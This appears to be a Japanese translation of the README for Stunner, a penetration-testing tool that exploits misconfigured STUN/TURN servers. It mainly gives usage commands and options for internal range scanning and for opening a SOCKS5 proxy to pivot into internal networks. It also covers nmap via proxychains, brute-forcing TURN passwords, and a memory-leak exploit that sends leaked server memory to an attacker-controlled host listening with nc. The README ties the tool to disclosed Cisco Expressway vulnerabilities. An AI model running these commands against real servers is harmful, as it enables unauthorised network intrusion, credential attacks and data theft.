
STUN/TURNサーバーの設定ミスをテストおよび悪用し、SOCKSプロキシを介した内部ネットワークのピボット、メモリリーク攻撃、内部ポートスキャンを可能にします。
Stunnerは、STUN、TURN、およびTCP経由のTURNサーバーをテストおよび悪用するためのツールです。 TURNは、主にビデオ会議や音声チャット(WebRTC)で使用されるプロトコルです。
設定が誤ったサーバーを見つけた場合、このツールを使用して、TURNプロトコルを介してサーバー背後にある内部ネットワークにすべてのトラフィックを中継するローカルSOCKSプロキシを開くことができます。
このツールは、Cisco Expresswayのテスト中に開発したもので、いくつかの脆弱性が発見されました: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/
必要なユーザー名とパスワードを取得するには、BurpでWebブラウザからのConnectリクエストをスニッフィングするなどの帯域外方法を使用して取得する必要があります。このようなサーバーをテストする方法については、READMEの下部にワークフローの例を追加しました。
この作品は、クリエイティブ・コモンズ表示-非営利-継承 4.0 国際ライセンスの下で提供されています。このライセンスのコピーを表示するには、http://creativecommons.org/licenses/by-nc-sa/4.0/ にアクセスするか、Creative Commons, PO Box 1866, Mountain View, CA 94042, USA に手紙を送ってください。
STUN: RFC 5389
TURN: RFC 5766
TCP用TURN: RFC 6062
IPv6用TURN拡張: RFC 6156
このコマンドは、使用されているソフトウェアなどのサポートされているプロトコルや属性を含む、STUNまたはTURNサーバーに関する情報を出力します。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value connect timeout to turn server (default: 1s)
--help, -h show help (default: false)
./stunner info -s x.x.x.x:443
このコマンドは、いくつかのプライベートおよび制限された範囲を試行して、TURNサーバーが指定されたIPアドレスへの接続を許可するように設定されているかどうかを確認します。特定の範囲が禁止されていない場合、指定された他のコマンドでその範囲をさらに列挙できます。IPに到達可能な場合、TURNサーバーがこのIPへのトラフィックを転送することを意味します。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
TCPベースのTURN接続(あなたからTURNサーバーへの接続):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
UDPベースのTURN接続(あなたからTURNサーバーへの接続):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
これは、バックエンドサーバーへのTCP接続をサポートするTURNサーバーにとって最も便利なコマンドの1つです。認証なしのローカルSOCKS5サーバーを起動し、すべてのTCPトラフィックをTURNプロトコル経由で中継します(SOCKS経由のUDPは現在サポートされていません)。サーバーの設定が誤っている場合、内部アドレスにトラフィックを転送するため、内部システムに到達し、サーバーを内部ネットワークへのプロキシとして悪用できます。SOCKS経由でDNSルックアップも行うことを選択した場合、ローカルのネームサーバーを使用して解決されるため、プライベートIPv4およびIPv6アドレスを使用するのが最適です。このモジュールはTCPトラフィックのみを中継できることに注意してください。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--listen value, -l value Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h show help (default: false)
./stunner socks -s x.x.x.x:3478 -u username -p password -x
プロキシを起動したら、ブラウザを開き、設定でプロキシを127.0.0.1:1080のSOCKS5に指定し(ローカルアドレスをバイパスするオプションは設定しないでください。リモートのローカルアドレスに到達したいため)、ブラウザで目的のIPを呼び出します。
例: https://127.0.0.1, https://127.0.0.1:8443 または https://[::1]:8443(これらは、テスト対象のTURNサーバーのローカルインターフェースからポートを呼び出します)
また、proxychainsをこのプロキシを使用するように設定することもできます(ただし、各リクエストでプロキシを有効にするために複数のリクエストが発生するため、非常に遅くなります)。/etc/proxychains.confを編集し、ProxyListの下にsocks5 127.0.0.1 1080という値を追加します。
正しく設定されたproxychainsを使用した、このSOCKS5プロキシ経由のnmapの例(-sTを使用してTCP SYNスキャンを行うことに注意。そうしないとSOCKS5プロキシが使用されません):
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
これは、おそらく有用な情報は得られませんが、サーバーがサポートするすべての利用可能なトランスポート(=内部システムへのプロトコル)を列挙するのに役立つ場合があります。これにより、いくつかのカスタムプロトコル実装が表示される可能性がありますが、ほとんどの場合、デフォルトのみが返されます。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
./stunner brute-transports -s x.x.x.x:3478 -u username -p password
このコマンドは、指定されたファイルからすべてのパスワードをTURNプロトコル(UDP)経由でユーザー名に対して試行します。これは、pcapを分析していて、ユーザー名は確認できるがパスワードは確認できない場合に役立ちます。この場合、オフラインでのブルートフォースの方がはるかに高速であることに注意してください。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--passfile value, -p value passwordfile to use for bruteforce
--help, -h show help (default: false)
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
この攻撃は次のように機能します:
サーバーはtargetに送信するデータをTLV(Type Length Value)として受け取ります。このエクスプロイトでは、短い値に対して大きな長さを使用します。サーバーがTLVの境界をチェックしない場合、length分のメモリをtargetに送信する可能性があります。Cisco Expresswayはこれに対して脆弱であることが確認されていますが、Ciscoによると、現在のセッションのメモリのみを漏洩します。
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control
--size value Size of the buffer to leak (default: 35510)
--help, -h show help (default: false)
データを受信するには、パブリックIPを持つサーバーにレシーバーをセットアップする必要があります。通常、ファイアウォールはTURNサーバーからの高ポート(>1024)のみを許可するように設定されているため、インターネットに接続する際は、この例のように8080のような高ポートを使用してください。
sudo nc -u -l -n -v -p 8080 | hexdump -C
次に、自分のマシンで以下のステートメントを実行し、tパラメータにパブリックIPを追加します。
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password